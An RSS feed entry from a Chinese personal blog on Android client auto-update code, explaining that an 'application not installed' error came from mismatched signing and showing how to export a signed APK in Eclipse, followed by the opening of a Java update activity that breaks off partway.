<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0"><channel><title>寂寞喝口水</title><link>http://www.chendw.cn:8080/</link><description>随风散忆的博客</description><generator>Dutory 0.3 Gromit (build 3498.15822)</generator><pubDate>Tue, 07 Feb 2012 03:19:29 GMT</pubDate><item><title>Android 客户端自动升级代码及“应用程序未安装”的解决办法</title><link>http://www.chendw.cn:8080/view.aspx?id=254</link><description>&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/2a1271a947f941e580ae5bfacf217bb4.png" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/133ceb4733fc45f9aac71b2efdf46a0b.png" target="_blank"&gt;&lt;/a&gt;代码来源网络，自己刚开始调试的时候能正常下载新版程序，但是在打开安装时一直提示&amp;ldquo;应用程序未安装&amp;rdquo;，后来查找了半天终于发现是程序的签名问题。&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;eclipse环境下打包用于更新的新版本时在项目上右键选择&amp;ldquo;Android Tool&amp;rdquo; - &amp;ldquo;Export Signed Application Package&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/2a1271a947f941e580ae5bfacf217bb4.png" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2011/01/2a1271a947f941e580ae5bfacf217bb4.png" alt="1.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;使用默认的debug签名，&lt;/p&gt;
&lt;p&gt;默认路径为：&lt;/p&gt;
&lt;p&gt;&amp;nbsp; win7：D:\Users\用户名\.android&lt;/p&gt;
&lt;p&gt;&amp;nbsp; xp:&lt;span style="WIDOWS: 2; TEXT-TRANSFORM: none; TEXT-INDENT: 0px; BORDER-COLLAPSE: separate; FONT: medium Simsun; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: normal; COLOR: #000000; WORD-SPACING: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px"&gt;&lt;span style="FONT-FAMILY: Verdana, Geneva, Arial, Helvetica, sans-serif; FONT-SIZE: 13px"&gt;C:\Documents and Settings\用户名\.android\debug.keystore&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="WIDOWS: 2; TEXT-TRANSFORM: none; TEXT-INDENT: 0px; BORDER-COLLAPSE: separate; FONT: medium Simsun; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: normal; COLOR: #000000; WORD-SPACING: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px"&gt;&lt;span style="FONT-FAMILY: Verdana, Geneva, Arial, Helvetica, sans-serif; FONT-SIZE: 13px"&gt;默认密码：android&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2011/01/133ceb4733fc45f9aac71b2efdf46a0b.png" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2011/01/133ceb4733fc45f9aac71b2efdf46a0b.png" alt="2.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;接着一直Next生成带签名的APK安装包&lt;/p&gt;
&lt;p&gt;以下为自动更新代码&lt;/p&gt;
&lt;p&gt;&lt;span style="WIDOWS: 2; TEXT-TRANSFORM: none; TEXT-INDENT: 0px; BORDER-COLLAPSE: separate; FONT: medium Simsun; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: normal; COLOR: #000000; WORD-SPACING: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px"&gt;&lt;/span&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;/p&gt;
&lt;ol style="BORDER-BOTTOM: #d1d7dc 1px solid; BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 2px; LINE-HEIGHT: 1.4em; BACKGROUND-COLOR: #ffffff; LIST-STYLE-TYPE: decimal; MARGIN: 0px 0px 1px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #2b91af; FONT-SIZE: 1em; BORDER-TOP: #d1d7dc 1px solid; BORDER-RIGHT: #d1d7dc 1px solid; PADDING-TOP: 2px"&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;java.io.File;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;java.io.FileOutputStream;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;java.io.IOException;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;java.io.InputStream;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;org.apache.http.HttpEntity;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;org.apache.http.HttpResponse;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;org.apache.http.client.ClientProtocolException;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;org.apache.http.client.HttpClient;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;org.apache.http.client.methods.HttpGet;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;org.apache.http.impl.client.DefaultHttpClient;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;android.app.AlertDialog;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;android.app.Dialog;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;android.app.ProgressDialog;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;android.content.DialogInterface;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;android.content.Intent;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;android.net.Uri;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;android.os.Bundle;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;android.os.Environment;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;import&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;android.os.Handler;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;public&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;class&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;Update&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;extends&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;BaseActivity&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;public&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;ProgressDialog&amp;nbsp;pBar;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;private&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;Handler&amp;nbsp;handler&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;new&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;Handler();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #646464"&gt;@Override&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;protected&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;void&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;onCreate(Bundle&amp;nbsp;savedInstanceState)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;super&lt;/span&gt;&lt;span style="COLOR: black"&gt;.onCreate(savedInstanceState);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;setContentView(R.layout.update);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dialog&amp;nbsp;dialog&amp;nbsp;=&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;new&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;AlertDialog.Builder(Update.&lt;/span&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;this&lt;/span&gt;&lt;span style="COLOR: black"&gt;).setTitle(&lt;/span&gt;&lt;span style="COLOR: blue"&gt;"系统更新"&lt;/span&gt;&lt;span style="COLOR: black"&gt;)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.setMessage(&lt;span style="COLOR: blue"&gt;"发现新版本，请更新！"&lt;/span&gt;&lt;span style="COLOR: black"&gt;)&lt;/span&gt;&lt;span style="COLOR: #008200"&gt;//&amp;nbsp;设置内容&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.setPositiveButton(&lt;span style="COLOR: blue"&gt;"确定"&lt;/span&gt;&lt;span style="COLOR: black"&gt;,&lt;/span&gt;&lt;span style="COLOR: #008200"&gt;//&amp;nbsp;设置确定按钮&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
